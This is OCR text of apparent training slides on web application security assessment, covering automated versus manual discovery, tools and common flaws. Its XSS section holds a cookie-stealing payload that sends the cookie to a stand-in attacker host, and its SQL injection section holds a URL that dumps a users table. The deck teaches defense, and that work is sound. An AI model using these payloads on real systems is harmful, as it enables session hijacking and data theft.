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Introductions & Approach
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Design of Web Applications
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Anatomy of a Web Application
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Simple versus Complex Web Applications
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What makes web apps so vulnerable?
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Need for Web App Vulnerability Assessments

A realm of vulnerability scanners are available on the market which look for common and
known vulnerabilities and patterns relating to web application security.

However... These vulnerability scanners do not detect the unknown or less-known vulnerability
scanners in specific web applications.

Web application specific issues such as access control, temporary file, user-defined file,
session state, identity credentials, and similar issues are very difficult if not impossible to
detect using web application vulnerability scanners. This is where the Web Application
Vulnerability Assessments come into play.

Web Application Vulnerability Assessments rely on both automated and manual discovery in
order to detect well-known and less-known security issues in web applications.
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Discovering Security Issues in Web Apps
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Automated versus Manual Discovery

Automated Discovery

A set of automated vulnerability assessment tools is used to perform an initial assessment of the web
application

These automated tools will look for known issues, known patterns, and known paths predefined
within the tool which may indicate a security issue in a web application.

The purpose of an automated discovery assessment is to determine the issues affecting the web
application such that further attacks can be launched against the web application in order to exploit
these security issues.

The main advantage of using automated discovery tools is the speed at which an assessment can be
carried out. However, this discovery method is not as thorough as manual discovery and is easily
detected by network or host-based intrusion detection and prevention systems, possibly causing the
assessment to be flawed or false negatives to occur.

Manual Discovery

As with Automated Discovery, a set of tools is used, however it is up to the person performing the
assessment to determine which issues to look for.

In the case of Manual Discovery, it is up to the person performing the assessment to analyze the
data returned by the server, and to input and mangle data sent to the server.

The main advantage of Manual Discovery is the precision with which the assessment can be carried
out, allowing for a higher degree of flexibility and better insight into the actual web application than
could be gained through Automated Discovery. A trade-off to this is the fact that Manual Discovery
takes considerably longer than Automated Discovery.
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Automated versus Manual Discovery (2)

Hybrid Discovery

* In order to sustain the best of both worlds, a hybrid discovery method is most casual in Web
Application Vulnerability Assessment today.

» During Hybrid Discovery, the initial reconnaissance phase will be performed using a set of automated
tools to weed out the most common security issues. Subsequently, a manual discovery is performed,
allowing for the less-common security issues to be exposed.

Security Issue Discovery

» The following table lists some of the security issues affecting today’s web applications and ways in
which they are most likely to be discovered:

Automated Discovery Manual Discovery

Known Vulnerabilities
Default Values

Cross Site Scripting
SQL Injection
Information Disclosure
Directory Indexing
Brute Forcing
Denial-of-Service Attacks
Command Execution
Buffer Overflows
Server-Side Includes

Access Rights Issues
Access Control Issues
Session State Issues
User-specific Files
Temporary Files

Trust Relationship Issues
Backend Database Issues
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Tools of the Trade

Web Vulnerability Scanners

* Web Vulnerability Scanners allow detection of common and well-known security issues affecting web
applications.

* Examples are Nikto, AppScan, Nessus
Web Security Tools

» Web Security Tools are designed to facilitate assessments of web applications by adding support for
certain protocols or configurations.

* Examples are Stunnel
Web Proxies

* Web Proxies provide some sort of a Man-in-the-Middle situation in which all parameters sent to and

received from the web application can be modified in an attempt to discover and exploit security
Issues.

» Examples are Paros, HTTPush, and Achilles

Command-line Programs, Interpreters, and Compilers are your friend!

» Sometimes, scripts or small programs need to be developed in order to carry out specific tasks
related to web application vulnerability assessments. Interpreters such as Perl and compilers such as
GCC come in very handy. However, oftentimes many of these actions can be performed using
readily available command-line programs such as sed, awk, netcat, and the like.
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Well-Known Web Application Security Issues

Well-Known Security Issues in Web Applications
* The majority of these issues can be detected using Automated Discovery techniques.

Oftentimes underlying issues solicit the use of Manual Discovery for these issues to be properly
identified and addressed.

Non-exhaustive list of Well-Kknown Web Application Security Issues:

Default Values and Known Vulnerabilities

Cross Site Scripting Issues

SQL Injection Issues and Database Auditing
Information Disclosure and Directory Indexing

Brute Forcing, Denial of Service, and Buffer Overflows
Command Execution and Server Side Includes
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Default Values and Known Vulnerabilities
Well-Known Web Application Security Issues

Default Values

* Many web applications ship out-of-the-box with a set of default values and scripts, such as sample
pages and default authentication credentials.

e Sometimes certain scripts have been added for testing and debugging purposes and have not been
removed during the final Q&A process.

» Examples: Apache test scripts (i.e. test-cgi)
Known Vulnerabilities

» Several web applications may also be susceptible to published vulnerabilities. Usually these issues
are published on sites carrying security advisories and several mailing lists such as bugtrag and
vuln-dev.

* Examples: MSADC, Unicode, NULL printer, Chunked Encoding, and the list goes on ...
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Cross Site Scripting Issues
Well-Known Web Application Security Issues

Cross Site Scripting (XSS)

Provides a way to write content into an HTML document through manipulation of variables.

Although this attack uses a flaw in the web application, it does not target the web server directly.
XSS issues can be invoked to trick users into performing a certain action, possibly allowing attackers
to obtain authentication credentials. In conjunction with phishing and spamming attacks, XSS can be
a very effective and easy method for an attacker to gain access to a web application.

In the following example, the target is a financial services web application susceptible to XSS at
https://webapp.financial.dom/ebanking/index.jsp?p=<page>. The attackers’ controlled machine is
located at http://machine.attacker.dom. The attacker could now craft the following URI link and spam

it to different users of the financial web application:

https://lwebapp.financial.dom/ebanking/index.jsp?p=<script>document.location.href="http://machine.atta
cker.dom/stealcookie?’+document.cookie</script>

When the user clicks on the link sent out by the attacker, the user will first connect to the financial
services web site, which will be loaded in the user’s browser. Furthermore, due to the XSS attack,
the financial application’s page will redirect the user to http://machine.attacker.dom/stealcookie? and
will include the user’s cookie in the request. All the attacker now has to do is look in the attacker’s
web server log files and recover the user’s cookie in an attempt to hijack the financial services web
application:

81.242.133.103 - - [24/Sep/2005:12:16:58 +0000] "GET
Istealcookie?JSESSIONID=109c6e28b25223b49b0b6e2cf7ba2ef0 HTTP/1.1" 200 3443 "-" "Mozilla/5.0 (X11,;
U; Linux i686; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6"
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SQL Injection Issues
Well-Known Web Application Security Issues

SQL Injection

Due to improper input validation an attack can gain access to the database, including but not limited
to executing SELECT, INSERT, UPDATE, DELETE, ALTER statements and the like.

An attacker can use SQL injection for various means such as reading or modifying data not meant
for the attacker as well as bypassing SQL-based authentication systems in order to gain access to
the web application without requiring proper credentials.

In the following example, the target is a financial services web application susceptible to SQL
injection at https://webapp.financial.dom/ebanking/stockinfo.php?id=<STOCK>. The web application
will connect to the database, query the database for information regarding the current value of the
requested stock, and return this information to the user. However, an attacker can take advantage of
this using specially crafted requests containing more information than just the stock code. The
attacker could make a request such as the one shown below:

https://webapp.financial.dom/ebanking/stockinfo.php?id="'; select * from webapp_users;--

In the above example, the attacker would be able to end the current SQL statement and start a new
statement allowing the web application’s users to be displayed.
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SQL Injection Issues (2)

Well-Known Web Application Security Issues

SQL Injection

» However, SQL Injection is not always as easy as it seems. In order for the attacker to be able to
correctly run these SQL statements, he or she has to have prior knowledge of either default
databases running on the server or have knowledge of the layout of the database. In the following
section, database auditing, we will take a closer look at how an attacker can gain more information
on and create a pseudo-layout of the database.

» SQL injection is a common, yet easily mitigated, issue in web applications as long as you know what
character sets the web application, as well as the back-end database server accepts. While filtering
out ASCII SQL escape characters may be easy, it may be a less obvious that there is also the need
to filter out characters in other encodings, such as Unicode or Hexadecimal. Because of this fact
SQL injection is still a rather prevalent issue in today’s web applications.
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Database Auditing

Well-Known Web Application Security Issues

Database Auditing

Database auditing takes SQL injection issues one step further, allowing the attacker to gain more
knowledge of the database layout making it easier for attacks to be carried out.

Using specific SQL statements, an attack can gain the following and more information about the web
application’s database infrastructure:

» Database Type and Version

» User web application utilizes to connect to database

* Existence of default database

 Layout of database

» Pseudo-code for the scripts used to connect the web application to the database

Database auditing is an issue that happens firstly because of improper input validation on SQL
statements, and secondly because of a lack of control over error messages and error pages returned
to the client.
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Information Disclosure
Well-Known Web Application Security Issues

Information Disclosure

* A legitimate or illegitimate action performed on the web application server results in some form of
information being disclosed in relation to the web application, the servers, the infrastructure and the

like.

* Not always a vulnerability in the system or does not necessarily directly lead to system compromise
and is usually the result of mis-configuration or leaving default system values unchanged.

 Common examples of information disclosure are:

» Web application or server disclosing server type, operating system, vendor, version, patch level.

» Application or server errors disclosing system configuration (i.e. path disclosure, stack dumps, etc.)
» Possibility for an attacker to view script source code rather than executing the script.

» Careless coding leaving behind comments, code snippets, and the like.
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Directory Indexing/Traversal and Arbitrary File Disclosure
Well-Known Web Application Security Issues

Directory Indexing

* In a Directory Indexing attack, a malicious assailant will be able to get a listing of files and
subdirectories in path of the web application or web application.

» Directory Indexing attacks happen generally one of two ways:

» either the directory has been set with the read partitions and has the indexing option enabled in the
web server’s configuration. This is the most obvious form of directory indexing although there is
rarely a need for a web application’s directories to be configured as to display the listing of the
directory.

 a second issue which causes directory indexing is improper validation of input on the web
application’s part. If a specific part of the web application has been designed to open certain files for
the user and allows the URI to specify paths, improper input validation quickly leads to a directory
index being disclosed.

Directory Traversal

» During a Directory Traversal attack, an attacker can gain access to directories outside of the current
web application or web server’s path.

Arbitrary File Disclosure

» Arbitrary files disclosure attacks allow an attacker to gain access to files outside of the web server’s
or web application’s part.
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Brute Forcing, Denial-of-Service, and Buffer Overflows
Well-Known Web Application Security Issues

Brute Forcing

» Generally known as technique for username and password guessing/enumerating.

e Can also be used as viable approach for enumerating files, session IDs, and the like.

* Generally a weakness introduced due to improper policy controls or application thereof.

Denial-of-Service

» Denial-of-Service attacks generally exploit programming insecurities in web applications or the web
server.

Buffer Overflows

» Buffer overflows are fairly similar to Denial-of-Service conditions in that they exploit programming
insecurities in web applications or web servers but rather than rendering the service unusable they
aim to gain access or a higher level of privilege on the web server infrastructure.

 Common examples of buffer overflows are Apache Chunked Encoding overflow, Microsoft IS
MSADC overflow, and the like, which have all been designed for remote attackers to get access to
the web server.
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SessionlD[n-3] SessionlD[n-2] SessionlID[n-1] SessionlD[n]
Modulus
Leftover

SessionlD[3] = (14666757580 * 3) + n[3
SessionlID[3] = (14666757580 * 3) + 8
SessionID[3] = 44000272740 + 8
SessionID[3] = 44000272748




User Session ID Source IP

WebAppUser-001 52aflc78bee7643e7446e1d153f645fd 22.2.1
WebAppUser-047 b4b8df245e1ab0210fd86a4cf8f56862 1.1.1.2
WebAppUser-359 3bf7ef846cc55e29d70377d20985b20d 3.3.35

User Session ID Source IP

WebAppUser-001 52aflc78bee7643e7446e1d153f645fd 1.1.1.1
WebAppUser-047 B4b8df245e1ab0210fd86a4cf8f56862 1.1.1.1
WebAppUser-359 3bf7ef846cc55e29d70377d20985b20d 1.1.1.1







Core Web App Security
Securing Authentication
Securing Authorization
Securing Accounting

Securing Interconnections and Inter Process
Communications

Session Security

Securing Dynamic Data

Securing Data Storage

Harden Core Web Application Components
Secure Code Development

Peripheral Web App Security

Network-level Firewalls

Application-level Firewalls and Reverse Proxies
Intrusion Detection and Prevention Systems
Web Server Security Modules









































































